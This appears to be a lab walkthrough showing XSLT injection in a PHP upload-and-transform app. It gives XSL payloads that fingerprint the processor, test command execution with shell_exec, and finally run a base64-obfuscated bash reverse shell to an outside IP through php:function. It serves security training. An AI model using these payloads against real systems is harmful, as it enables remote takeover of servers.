XSLT to Code Execution
In this lab, you will leverage the ability to upload and process arbitrary XSL files in a vulnerable application to gain RCE on the target machine.
Objective: Leverage the XSLT code injection in the web application to identify the XSLT processor details and obtain a shell session on the target server to retrieve the flag from the target machine.
Webapp has the function to upload a XML and XSL file and then transform the file.
Use the below code for the XML and XSLT.
# XML
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
# XSLT
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>Viewing the result of the transformation.
Using the below transform, it is possible to view the vendor info.
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
The headers reveal that the application use PHP.Checked this by using the below XSL which executes the PHP sleep command
This transform can confirm this with the sleep command.
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>Base64 encode the below payload to avoid it being tampered when being uploaded via HTTP.
Final payload is below.
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('system','echo L2Jpbi9iYXNoIC1jICdiYXNoIC1pPiYgL2Rldi90Y3AvMTkyLjE3NC4xNjQuMi81NDMyMSAwPiYxJwo=|base64 -d|bash')" />
</xsl:template>
</xsl:stylesheet>
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